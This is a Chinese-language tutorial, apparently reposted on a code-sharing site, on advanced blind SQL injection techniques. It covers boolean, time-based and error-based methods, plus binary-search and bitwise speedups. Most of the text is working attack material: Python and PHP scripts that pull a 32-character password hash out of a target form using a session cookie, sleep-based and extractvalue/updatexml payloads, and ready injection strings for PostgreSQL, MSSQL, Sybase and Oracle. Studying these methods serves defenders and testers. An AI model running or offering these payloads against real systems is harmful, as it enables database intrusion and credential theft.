SQL盲注測試高級技巧


寫在前面:

這篇文章主要寫了一些加快盲注速度的技巧和盲注中比較精巧的語句,雖然注入並不是什么新技術了。但是數據庫注入漏洞依然困擾着每一個安全廠商,也鞭策着每一個安全從業者不斷前進。

正文:

首先來簡單介紹一下盲注,盲注是不能通過直接顯示的途徑來獲取數據庫數據的方法。在盲注中,攻擊者根據其返回頁面的不同來判斷信息(可能是頁面內容的不同,也可以是響應時間不同)。一般情況下,盲注可分為三類。

Booleanbase
Timebase
Errorbase

其中第一類Boolean就是我們最常接觸到的普通盲注。

比如在where語句中可以構造or 1=1來使返回頁面不同。(這里用mysql演示一下,大家體會就好)

mysql> select 123 from dual where 1=1;
+-----+
| 123 |
+-----+
| 123 |
+-----+
1 row in set (0.00 sec)
mysql> select 123 from dual where 1=0;
Empty set (0.00 sec)

如果注入點在order by后面,那么則可以使用判斷語句來構造報錯。(其實order by后面的注入也可以根據返回結果的順序來判斷,這里自由發揮就好:P)

mysql> select 1 from te order by if(1,1,(select 1 union select 2)) limit 0,3;
+---+
| 1 |
+---+
| 1 |
| 1 |
| 1 |
+---+
3 rows in set (0.00 sec)
mysql> select 1 from te order by if(0,1,(select 1 union select 2)) limit 0,3;
ERROR 1242 (21000): Subquery returns more than 1 row

基於時間的盲注的話,mysql主要涉及兩個函數,sleep banchmark 基本是使用如下。

mysql> select 1 from te where if(1=1,sleep(1),1) limit 0,1;
Empty set (27.00 sec)
mysql> select 1 from te where if(1=2,sleep(1),1) limit 0,1;
+---+
| 1 |
+---+
| 1 |
+---+
1 row in set (0.00 sec)

基於報錯的盲注,需要網站顯示數據庫報錯信息,后面會有詳細闡述。

 

知道了怎么判斷ture or false之后就是獲取數據了,當然你可以暴力測試每一個ascii碼,不過這需要很多次嘗試,如果你家正巧網速不好那么速度將會是十分緩慢的。

拿32位hash為例,暴力猜解的話許要 16*32=512次查詢(因為hash一般是16進制,只有16種可能)。如果是一段包含大小寫字母和特殊字符的32位字符串那?大概需要 72*32=2304次查詢,這就比較多了。想要減少盲注查詢的次數,一般會用到如下幾種方法。

字頻統計:

根據英文中字母出現的頻率進行猜測,這種方法僅局限於用戶名這樣有意義的字符串,並不能應用於hash這樣的無規律字符串。而且僅限於純字母的猜測。wiki百科上有字母使用頻率的統計。

那么根據字頻統計,e出現的概率最高,a其次,那我們就先猜測e,再猜測a。更近一步,我們可以使用雙字的字頻來進一步提高效率,比如th在英文中出現的概率很高。那么在第一個字母是t之后,我們下個字符第一個猜測h。

ps.這種方法的效率有多高哪?只能說看臉。

二分查找,位運算法:

 把他們兩個放在一起是因為他們的作用是相同的都會把試探字符串的次數降低到log(n)*length (n為可能字符的數量)。

首先來說二分查找,它的原理是把可能出現的字符看做一個有序的序列,這樣在查找所要查找的元素時,首先與序列中間的元素進行比較,如果大於這個元 素,就在當前序列的后半部分繼續查找,如果小於這個元素,就在當前序列的前半部分繼續查找,直到找到相同的元素,或者所查找的序列范圍為空為止。

使用而返查找確定一個hash散列的一位,只需要4次查詢(2^4=16),也就是說確定一個32位hash,只需要126次請求,大大縮短了查詢的次數。

這里給出一個二分查找的pyhton源代碼

import urllib
import urllib2
def doinject(payload):
    url = 'xxxxxxxxxxxxxxxxxxxxx'
    values = {'injection':payload,'inject':'Inject'}
    data = urllib.urlencode(values)
    #print data
    req = urllib2.Request(url, data)
    req.add_header('cookie','xx=xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx')
    response = urllib2.urlopen(req)
    the_page = response.read()
    if (the_page.find("Welcome back")>0):
        return True
    else:
        return False
    
wordlist = "0123456789ABCDEF"
res = ""
for i in range(1,33):
    s=0
    t=15
    while (s<t):         if (t-s==1):             if doinject('\' or substring(password,'+str(i)+',1)=\''+wordlist[t]+'\' -- LanLan'):                 m=t                 break             else:                 m=s                 break         m=(s+t)/2         if doinject('\' or substring(password,'+str(i)+',1)>\''+wordlist[m]+'\' -- LanLan'):             s=m+1             print wordlist[s]+":"+wordlist[t]         else:             t=m             print wordlist[s]+":"+wordlist[t]     res = res+wordlist[m]     print res

這里還有使用正則表達式來進行二分查找的php實現

$sUrl = 'xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx';
$sPost = 'inject=Inject&injection=';
$sCharset = 'ABCDEF0123456789';
 
 
/* for every character */
for ($i=0, $hash=''; $i<32; ++$i) {
        $ch = $sCharset;
 
        do {
                $ch1 = substr($ch, 0, intval(strlen($ch)/2));
                $ch2 = substr($ch, intval(strlen($ch)/2));
                
                $p = $sPost.'absolutelyimpossible\' OR 1=(SELECT 1 FROM blight WHERE password REGEXP \'^'.$hash.'['.$ch1.']\' AND sessid=xxx) AND \'1\'=\'1';
                $res = libHTTP::POST($sUrl, $p);
 
                if (strpos($res['content'], 'Your password is wrong') === false)
                        $ch = $ch1;
                else 
                        $ch = $ch2;
                
        } while (strlen($ch) > 1);
        
        $hash .= $ch;
        echo "\rhash: ".$hash;
}

ps:上面的代碼都是針對32位hash的盲注

再說位運算,它的原理是每次請求確定二進制的一位,對於ascii碼連續的區間時間復雜度為log(n)*length,所以相對於二分查找,它應用起來比較有局限性。

mysql中位運算的與運算是&,我們主要用它來進行猜測,比如a的ascii碼是1100001,那么我們可以使用1,2,4,8,16…..依次與他進行與運算,最終得到結果。

mysql> select ord('a') & 1;
+--------------+
| ord('a') & 1 |
+--------------+
|            1 |
+--------------+
1 row in set (0.00 sec)
mysql> select ord('a') & 2;
+--------------+
| ord('a') & 2 |
+--------------+
|            0 |
+--------------+
1 row in set (0.00 sec)
mysql> select ord('a') & 4;
+--------------+
| ord('a') & 4 |
+--------------+
|            0 |
+--------------+
1 row in set (0.00 sec)

 

基於時間的盲注:

上面的方法,都是通過返回頁面的不同來獲取信息,所以理論上來說每次,最多只能確定一個二進制位(true or false)。但是,在盲注過程中還有一個重要的因素可以幫助我們獲取信息,那就是頁面返回時間的長短。通過如下的語句,我們可以通過一次請求確定一個字 符的ascii碼。如果是一串32位的hash,那么只需要32次請求,即可得到答案。

' or sleep(ord(substr(password,1,1))) --

利用語句一般可以寫成這樣

mysql> select sleep(find_in_set(mid(@@version, 1, 1), '0,1,2,3,4,5,6,7,8,9,.'));
1 row in set (6.00 sec)
mysql> select sleep(find_in_set(mid(@@version, 2, 1), '0,1,2,3,4,5,6,7,8,9,.'));
1 row in set (11.00 sec)

推薦使用,sleep而不要使用benchmark,因為sleep不會占用cpu而且比較穩定。

下面給出一個針對32位hash的盲注算法

import urllib
import urllib2
import socket
from time import time
socket.setdefaulttimeout(1000000)
def doinject(payload):
    url = 'xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx'
    values = {'injection':payload,'inject':'Inject'}
    data = urllib.urlencode(values)
    #print data
    req = urllib2.Request(url, data)
    req.add_header('cookie','xx=xxxxxxxxxxxxxxxxxxxxxxxxxxxx')
    start = time()
    response = urllib2.urlopen(req)
    end = time()
    #print response.read()
    index = int(end-start)
    print 'index:'+ str(index)
    print 'char:' + wordlist[index-1]
    return index
wordlist = "0123456789ABCDEF"
res = ""
for i in range(1,34):
    num = doinject('\' or sleep( find_in_set(substring(password, '+str(i)+', 1), \'0,1,2,3,4,5,6,7,8,9,A,B,C,D,E,F\')) -- LanLan')
    res = res+wordlist[num-1]
    print res

這里還有注意一點,sleep在where語句中會被計算多次,在實際應用中需要根據表中的記錄數,做相應的處理。

比如有一個2個記錄的表

select count(*) from test;
    +----------+
    | count(*) |
    +----------+
    |        2 |
    +----------+

如果直接查詢,因為兩個記錄都會引發查詢所以會觸發兩次sleep()延遲12秒

select * from test where sleep(locate(mid(@@version, 1, 1), '0123456789.'));
Empty set (12.00 sec)

這里在前面使用一個條件語句,因為and前面的表達式如果為false則后面的不執行,所以sleep執行一次,延遲6秒

select * from test where a=1 and sleep(locate(mid(@@version, 1, 1), '0123456789.'));
Empty set (6.00 sec)

ps.這種方法很怕網絡不穩定。

基於報錯的盲注:

如果頁面上顯示數據的報錯信息,那么可以直接使用報錯的方式把想要的信息爆出來。

比如在mysql中我們可以使用如下的經典語句進行報錯。

select 1,2 union select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x;

這是網上流傳很廣的一個版本,可以簡化成如下的形式。

select count(*) from information_schema.tables group by concat(version(),floor(rand(0)*2))

如果關鍵的表被禁用了,可以使用這種形式

select count(*) from (select 1 union select null union select !1) group by concat(version(),floor(rand(0)*2))

如果rand被禁用了可以使用用戶變量來報錯

select min(@a:=1) from information_schema.tables group by concat(password,@a:=(@a+1)%2)

其實這是mysql的一個bug所引起的,其他數據庫都不會因為這個問題而報錯。

另外,在mysql5.1版本新加入兩個xml函數,也可以用來報錯。

mysql> select * from article where id = 1 and extractvalue(1, concat(0x5c,(select pass from admin limit 1)));
ERROR 1105 (HY000): XPATH syntax error: '\admin888'  
mysql> select * from article where id = 1 and 1=(updatexml(1,concat(0x5e24,(select pass from admin limit 1),0x5e24),1));  
ERROR 1105 (HY000): XPATH syntax error: '^$admin888^$'

而在其他數據庫中也可以使用不同的方法構成報錯

PostgreSQL: /?param=1 and(1)=cast(version() as numeric)-- 
MSSQL: /?param=1 and(1)=convert(int,@@version)-- 
Sybase: /?param=1 and(1)=convert(int,@@version)-- 
Oracle >=9.0: /?param=1 and(1)=(select upper(XMLType(chr(60)||chr(58)||chr(58)||(select 
replace(banner,chr(32),chr(58)) from sys.v_$version where rownum=1)||chr(62))) from dual)--

參考文獻:

METHODS OF QUICK EXPLOITATION OF BLIND SQL INJECTION

Indexed Blind SQL Injection


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM